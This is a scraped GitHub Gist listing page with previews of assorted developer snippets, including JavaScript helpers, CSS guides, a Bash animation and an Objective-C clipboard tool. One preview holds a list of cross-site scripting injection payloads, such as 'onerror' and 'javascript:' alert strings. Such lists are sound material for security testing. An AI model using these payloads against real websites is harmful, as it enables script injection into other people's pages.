Skip to content

Instantly share code, notes, and snippets.

View legomushroom's full-sized avatar
🇺🇦
stop russizm

Oleg Solomko legomushroom

🇺🇦
stop russizm
View GitHub Profile
@juanbrujo
juanbrujo / README.md
Last active August 29, 2015 14:23
createElement JavaScript function

#createElement(element,attribute,inner);

use:

createElement("tag","[attr:val][attr:val]",[element1,"some text",element2,element3,"or some text again :)"]);

basic:

@spite
spite / gist:93883bb7ad7de7b9bc62
Last active May 28, 2020 14:15
console.log for HTMLCanvasElement
/*
add this code
run console.log( canvas );
see the canvas
if the canvas is running a webgl context, it'll need the preserveDrawingBuffer flag set to true
*/
( function() {
@mattstauffer
mattstauffer / blog.md
Last active November 13, 2021 10:46
Introducing Gistlog landing pages

It's great that Gistlog makes it easy to write Gist-powered, Markdown-formatted, blog posts. But what if you want to use it as your entire blogging platform? We're working on it, and here's a first step: user landing pages.

Any Github user that has any public gists that contain a file named gistlog.yml now have a landing page on Gistlog at http://gistlog.co/your-user-name. So, since I have (more than) one, you can view my landing page at gistlog.co/mattstauffer. It's very simple right now, but we have a ton of ideas to improve it over time. So go check it out.

How do you get your own Gistlog landing page?

  1. Create a new Gistlog Gist (or edit an old one)
  2. Create two files: one for the markdown (I recommend blog.md for the name) and one for the Gistlog settings (which must be named gistlog.yml)
  3. Write your blog post in blog.md
  4. Since there are no actual settings being parsed from gistlog.yml yet, just create it with the fol
@paulirish
paulirish / bling.js
Last active May 1, 2024 19:56
bling dot js
/* bling.js */
window.$ = document.querySelectorAll.bind(document);
Node.prototype.on = window.on = function (name, fn) {
this.addEventListener(name, fn);
}
NodeList.prototype.__proto__ = Array.prototype;
@imjasonh
imjasonh / markdown.css
Last active February 12, 2024 17:18
Render Markdown as unrendered Markdown (see http://jsbin.com/huwosomawo)
* {
font-size: 12pt;
font-family: monospace;
font-weight: normal;
font-style: normal;
text-decoration: none;
color: black;
cursor: default;
}
@shinohai
shinohai / Nyan.sh
Created March 27, 2015 19:34
A Bash Nyan Cat For Fun
#!/bin/bash
# config
IMGS=(
"
+ o + o \n\
+ o + +\n\
o + \n\
o + + + \n\
+ o o + o\n\
@mwender
mwender / impbcopy.m
Last active April 29, 2024 02:40
Command line copy an image file to the clipboard in Mac OS X. See first comment for install instructions.
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
#import <unistd.h>
BOOL copy_to_clipboard(NSString *path)
{
// http://stackoverflow.com/questions/2681630/how-to-read-png-image-to-nsimage
NSImage * image;
if([path isEqualToString:@"-"])
{
// http://caiustheory.com/read-standard-input-using-objective-c
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active February 18, 2024 19:37
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@bobbygrace
bobbygrace / trello-css-guide.md
Last active April 22, 2024 10:15
Trello CSS Guide

Hello, visitors! If you want an updated version of this styleguide in repo form with tons of real-life examples… check out Trellisheets! https://github.com/trello/trellisheets


Trello CSS Guide

“I perfectly understand our CSS. I never have any issues with cascading rules. I never have to use !important or inline styles. Even though somebody else wrote this bit of CSS, I know exactly how it works and how to extend it. Fixes are easy! I have a hard time breaking our CSS. I know exactly where to put new CSS. We use all of our CSS and it’s pretty small overall. When I delete a template, I know the exact corresponding CSS file and I can delete it all at once. Nothing gets left behind.”

You often hear updog saying stuff like this. Who’s updog? Not much, who is up with you?

@p3t3r67x0
p3t3r67x0 / pseudo_elements.md
Last active January 16, 2024 01:17
A CSS pseudo-element is used to style specified parts of an element. In some cases you can style native HTML controls with vendor specific pseudo-elements. Here you will find an list of cross browser specific pseudo-element selectors.

Styling native elements

Native HTML controls are a challenge to style. You can style any element in the web platform that uses Shadow DOM with a pseudo element ::pseudo-element or the /deep/ path selector.

video::webkit-media-controls-timeline {
  background-color: lime;
}

video /deep/ input[type=range] {